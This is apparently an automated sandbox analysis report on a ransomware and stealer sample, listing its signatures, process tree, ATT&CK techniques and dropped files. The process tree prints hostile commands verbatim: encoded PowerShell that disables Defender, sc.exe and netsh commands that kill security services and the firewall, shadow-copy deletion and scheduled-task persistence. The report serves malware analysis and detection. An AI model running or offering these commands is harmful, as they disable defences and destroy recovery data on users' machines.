Overview

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Static

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thenewsmil...er.exe

windows10-2004-x64

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thenewsmil...er.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/08/2026, 22:19

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General

  • Target
    thenewsmile.com.mx_hyber.exe
  • Size 49KB
  • Sample260810-18malszenf
  • SHA256 6f3d8eb980469bd3bf5814f423fc8333d3547e3b33c7d9f17f781a9f56ce6d97
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2536
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1448
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4336
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1348
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4060
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5816
      • C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe"
        3⤵
          PID:6004
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4128
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2348
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3356
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4240
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5904
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:2500
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5456
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:6004
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4772
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6044
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3132
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2552
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3560
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5532
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:2396
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5176
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:1532
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4308
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:2712
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1400
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:1356
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4908
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2012
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:3236
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4440
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:2104
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:5544
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x0 /state0:0xa3a24055 /state1:0x41c64e6d
              1⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks processor information in registry
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:5124
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k CameraMonitor
              1⤵
                PID:4924
              • C:\Windows\system32\DllHost.exe
                C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                1⤵
                  PID:4336
                • C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
                  1⤵
                    PID:5692
                  • C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\thenewsmile.com.mx_hyber.exe
                    1⤵
                      PID:1156
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:3944
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k GPSvcGroup
                        1⤵
                          PID:4648

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              4
                              T1059

                              PowerShell

                              1
                              T1059.001

                              Visual Basic

                              1
                              T1059.005

                              Windows Command Shell

                              1
                              T1059.003

                              Scheduled Task/Job

                              1
                              T1053

                              Scheduled Task

                              1
                              T1053.005

                              System Services

                              2
                              T1569

                              Service Execution

                              2
                              T1569.002

                              Windows Management Instrumentation

                              1
                              T1047

                              Persistence

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              2
                              T1547.001

                              Create or Modify System Process

                              4
                              T1543

                              Windows Service

                              4
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Scheduled Task/Job

                              1
                              T1053

                              Scheduled Task

                              1
                              T1053.005

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              2
                              T1547.001

                              Create or Modify System Process

                              4
                              T1543

                              Windows Service

                              4
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Scheduled Task/Job

                              1
                              T1053

                              Scheduled Task

                              1
                              T1053.005

                              Defense Evasion

                              Direct Volume Access

                              1
                              T1006

                              Impair Defenses

                              3
                              T1562

                              Disable or Modify System Firewall

                              1
                              T1562.004

                              Disable or Modify Tools

                              1
                              T1562.001

                              Indicator Removal

                              2
                              T1070

                              File Deletion

                              2
                              T1070.004

                              Modify Registry

                              3
                              T1112

                              Credential Access

                              Credentials from Password Stores

                              1
                              T1555

                              Credentials from Web Browsers

                              1
                              T1555.003

                              Unsecured Credentials

                              1
                              T1552

                              Credentials In Files

                              1
                              T1552.001

                              Discovery

                              Browser Information Discovery

                              1
                              T1217

                              Process Discovery

                              1
                              T1057

                              Query Registry

                              2
                              T1012

                              System Information Discovery

                              4
                              T1082

                              Lateral Movement

                              Collection

                              Data from Local System

                              1
                              T1005

                              Command and Control

                              Exfiltration

                              Impact

                              Defacement

                              1
                              T1491

                              Inhibit System Recovery

                              2
                              T1490

                              Service Stop

                              2
                              T1489

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                              Downloads

                              invoice_1.pdf
                              • Path C:\ProgramData\invoice_1.pdf
                              • Size 66KB
                              • SHA256 1189f276174f0e7ea7518a00ae40b1a5cde59ebf7a4188be6d753ed1017084d1
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                              doc_3.pdf
                              • Path C:\SystemVolumeInformation\doc_3.pdf
                              • Size 66KB
                              • SHA256 606f86b7a9d4afba116bf17f9fecfa3897d6a92b3554790da1ab19063572b199
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                              createshortcut.vbs
                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 249B
                              • SHA256 3f2ed752dac5d2a3589a9945a106decf5628e51fc23ab268c2db919541283823
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                              del.bat
                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
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                              makelnk.vbs
                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 250B
                              • SHA256 7cfaa57e42635b285c712913d2d13da1074f16f236350cb293be08211295107f
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